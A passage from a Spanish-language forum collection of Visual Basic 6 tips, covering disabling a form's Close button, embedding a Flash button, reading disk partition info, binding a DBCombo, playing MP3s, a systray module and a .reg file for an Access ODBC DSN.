Call ModifyMenu(hMenu, SC_CLOSE, MF_BYCOMMAND Or MF_GRAYED, -10, "Close")
End Sub
Private Sub Form_Load()
Bloquear_Cerrar ' llamamos a nuestro evento
End Sub

Como hacer un boton en Flash para VB6
hace un boton en flash. y le colocas esto esto en el evento on_release

Código:
on (release){
    fscommand("elmensaje");
}


despues te vas al proyecto de vb6 y agregas tu shockwaveflash ya con el botoncito y todo muy bonito...(jaja)

depues de haber insetado el shockwaveflash, cargas tu botoncito..

digamos que tu boton se llama botonswf.swf

entonces el form load agregas esto..

Código:
ShockwaveFlash.Movie = App.Path & "botonswf.swf"


bueno despues en shockwaveflash haces doble click y dentro de los procedimiento seleccionas el FsCommand

Código:
Private Sub ShockwaveFlash_FSCommand(ByVal command As String, ByVal args As String)
Select Case command
     Case "elmensaje"
            msgbox "Este es el mensaje pasado desde flash..",vbinformation,"mensaje"
End Select
End Sub


de esta manera tenes un boton de flash insertado en vb..

Obtener información de una partición de disco
Obtener datos como la etiqueta y el sistema de archivos de una partición:

Código:
Option Explicit
Private Declare Function GetVolumeInformation Lib "Kernel32" _
Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, _
ByVal lpVolumeNameBuffer As String, _
ByVal nVolumeNameSize As Long, _
lpVolumeSerialNumber As Long, _
lpMaximumComponentLength As Long, _
lpFileSystemFlags As Long, _
ByVal lpFileSystemNameBuffer As String, _
ByVal nFileSystemNameSize As Long) As Long
Private Sub Command1_Click()
Dim lVSN As Long, n As Long, s1 As String, s2 As String
Dim unidad As String
Dim sTmp As String
On Local Error Resume Next
unidad = Trim$(Text1)
s1 = String$(255, Chr$(0))
s2 = String$(255, Chr$(0))
n = GetVolumeInformation(unidad, s1, Len(s1), lVSN, 0, 0, s2, Len(s2))
sTmp = Hex$(lVSN)
Label1(0) = s1
Label1(1) = Left$(sTmp, 4) & "-" & Right$(sTmp, 4)
Label1(2) = s2
End Sub
Private Sub Form_Unload(Cancel As Integer)
Set Form1 = Nothing
End Sub


Se necesitará de Text1 para ingresar la letra de la partición. Por ejemplo: "C:\", Command1 para obtener la información y Label1 indexado para mostrar la información

_________________

Como conectar un DbCombo a una Base de datos
Para conectar un DBCombo un DbList usamos el siguiente codigo

Código:
Private Sub Cargar_Clientes()
Dim AdoP As New Recordset
Set AdoP = New Recordset
AdoP.Open "SELECT   `clientes`.`nit_cliente`,  `clientes`.`nombre` FROM   `clientes` WHERE   (`clientes`.`cliente` <> 0) ORDER BY `nombre`", Cxn, adOpenStatic, adLockOptimistic
Set CboCliente2.DataSource = AdoP
Set CboCliente2.RowSource = AdoP
CboCliente2.BoundColumn = "nit_cliente"
CboCliente2.ListField = "nombre"
End Sub

Como reproducir MP3
Escribimos en un módulo:

Código:
Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long


Para reproducirlo:

Código:
iRESULT = mciExecute("Play C:\Chiquita.mp3")


Para detener la reproducción

Código:
iRESULT = mciExecute("stop C:\Chiquita.mp3")

Minimizar en el Systray con Menu
Este es un modulo que nos permite minimizar nuestra aplicación al lado de la hora y nos brinda la posibilidad de ponerle un menu. este codigo me lo baje de una web yo solo le ise algunos arreglos para que el codigo estubiera mas organizado y fuera más facil de usar. todo el codigo estaba en el form y yo lo lleve a un modulo. y ise las funsiones. No pongo el nombre del autor original porque no estaba en los codigos junto a los comentarios .

' *******************************************
' * Módulo YCCSystray *
' * Año 2005 *
' * Modificado por: Yosvanis Cruz *
' *******************************************

'------------------------------------------------------------
' Pequeño Manual
'------------------------------------------------------------
'*Este pequeño manual es para usar correctamente este Módulo*
'
' - Este Módulo cuenta con dos funciones-
' (YCCSysTrayMinimizar y YCCSystrayMenu)
'
' Como usar correctamente YCCSysTrayMinimizar:
'
' Antes que todo esta función es la que ase que nuestra aplicación
' aparesca en el Systray de Windows(al lado de la Hora del sistema)
' Datos que debe entrar
'.FORM (Aqui debe entrar el nombre del Form donde usa la función)
'.ToolTipText (Aqui se entra el texto que se mostrara cuando se
' situe el cursor sobre el icono de nuestro systray)
'.ShowInTaskbar ( si es true cuando se minimize la aplicación se
' mostrara en el Taskbar(Barra de tareas) si es
' False no se mostrara.
'
' *******Donde usar esta Función*********
' En los eventos Load y resize del Form.
' En el evento Load: si quiere que siempre nuestra aplicación
' aparesca en el systray. en este Evento coloque ShowInTaskbar
' con valor True de lo contrario el Form iniciara Invisible
' si desea que el form nunca se muestre en el Taskbar
' (Barra de tareas) en las propiedades del Form ponga
' ShowInTaskbar en False.
'
' En el evento Resize: si quiere que aparesca apartir
' de la primera vez que se minimize nuestra aplicación aquí
' si puede colocar ShowInTaskbar con valor False.
'
' Como usar correctamente YCCSystrayMenu:
' Esta función es la que ase que se le pueda asignar menu al
' systray de nuestra aplicación Datos que debe entrar
' -- Datos que debe entrar
'.FORM (Aqui debe entrar el nombre del Form donde usa la función)
'.x (Solo tiene que poner una x)
'.Menu (colocar el nombre de un menu que exista en un form
' de nuestra aplicación)
' si quiere que el menu solo aparesca en el systray ponga su propiedad Visible en False.
' OjO esta funcion siempre debe ir en el Evento MouseMove del Form
' Para mas ayuda escribirle a Yosvanis Cruz a
' el Mail You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
' --------------------------------------------------------------
Option Explicit
Private Declare Function Shell_NotifyIcon Lib "shell32" Alias "Shell_NotifyIconA" _
(ByVal dwMessage As Long, pnid As NOTIFYICONDATA) As Boolean
Private Declare Function SetForegroundWindow Lib "user32" _
(ByVal hwnd As Long) As Long
Private Type NOTIFYICONDATA
cbSize As Long '//size of this UDT
hwnd As Long '//handle of the app
uId As Long '//unused (set to vbNull)
uflags As Long '//Flags needed for actions
uCallBackMessage As Long '//WM we are going to subclass
hIcon As Long '//Icon we're going to use for the systray
szTip As String * 64 '//ToolTip for the mouse_over of the icon.
End Type
Private Const NIM_ADD = &H0 '//Flag : "ALL NEW nid"
Private Const NIM_MODIFY = &H1 '//Flag : "ONLY MODIFYING nid"
Private Const NIM_DELETE = &H2 '//Flag : "DELETE THE CURRENT nid"
Private Const NIF_MESSAGE = &H1 '//Flag : "Message in nid is valid"
Private Const NIF_ICON = &H2 '//Flag : "Icon in nid is valid"
Private Const NIF_TIP = &H4 '//Flag : "Tip in nid is valid"
Private Const WM_MOUSEMOVE = &H200 '//This is our CallBack Message
Private Const WM_LBUTTONDOWN = &H201 '//LButton down
Private Const WM_LBUTTONUP = &H202 '//LButton up
Private Const WM_LBUTTONDBLCLK = &H203 '//LDouble-click
Private Const WM_RBUTTONDOWN = &H204 '//RButton down
Private Const WM_RBUTTONUP = &H205 '//RButton up
Private Const WM_RBUTTONDBLCLK = &H206 '//RDouble-click
Private nid As NOTIFYICONDATA
Dim VarHor As String
Dim Varmin As String
Public Function YCCSysTrayMinimizar(Form As Form, ToolTipText As String, ShowInTaskbar As Boolean)
If ShowInTaskbar = False Then Form.Visible = False
With nid
.cbSize = Len(nid)
.hwnd = Form.hwnd
.uId = vbNull
.uflags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
.uCallBackMessage = WM_MOUSEMOVE
.hIcon = Form.Icon
.szTip = ToolTipText & vbNullChar
End With
Shell_NotifyIcon NIM_ADD, nid
End Function

Public Function YCCSystrayMenu(Form As Form, x As Single, Menu As Menu)
'//////////////////////////////////////////////////////////////////
'//Purpose: This is the callback function of icon in the
'// system tray. This is where will will process
'// what the application will do when Mouse Input
'// is given to the icon.
'//
'//Inputs: What Button was clicked (this is button & shift),
'// also, the X & Y coordinates of the mouse.
'//////////////////////////////////////////////////////////////////

Dim msg As Long '//The callback value

'//The value of X will vary depending
'//upon the ScaleMode setting. Here
'//we are using that fact to determine
'//what the value of 'msg' should really be
If (Form.ScaleMode = vbPixels) Then
msg = x
Else
msg = x / Screen.TwipsPerPixelX
End If

Select Case msg
Case WM_LBUTTONDBLCLK '515 restore form window
Form.WindowState = vbNormal
Call SetForegroundWindow(Form.hwnd)
Form.Show

Case WM_RBUTTONUP '517 display popup menu
Call SetForegroundWindow(Form.hwnd)
Form.PopupMenu Menu

Case WM_LBUTTONUP '514 restore form window
'//commonly an application on the
'//systray will do nothing on a
'//single mouse_click, so nothing
End Select

'//small note: I just learned that when using a Select Case
'//structure you always want to place the most commonly anticipated
'//action highest. Saves CPU cycles becuase of less evaluations.
End Function
' ************************************************** *************

 Como Crear un DSN con un archivo de registro
cuando creamos un DSN, para nuestra base de datos, windows genera algo asi, entonces para faciltarlo aqui esta este codigo, que lo guardamos en un arhivo .reg, y solo lo ejecutamos, nos crea una conexion llmada fin, para access, con contraseña "pass", usuario "user", el direccionamiento de la db.

Código:
[HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI\fin]
"Driver"="C:\\WINDOWS\\System32\\odbcjt32.dll"
"DBQ"="c:\\ledg\\scripts\\tubase.mdb"
"Description"="suneel accounts database"
"DriverId"=dword:00000019
"FIL"="MS Access;"
"PWD"="pass"
"SafeTransactions"=dword:00000000
"UID"="user"

[HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI\fin\Engines]

[HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI\fin\Engines\Jet]
"ImplicitCommitSync"=""
"MaxBufferSize"=dword:00000800
"PageTimeout"=dword:00000005
"Threads"=dword:00000003
"UserCommitSync"="no"

[HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI\ODBC Data Sources]
"fin"="Microsoft Access Driver (*.mdb)"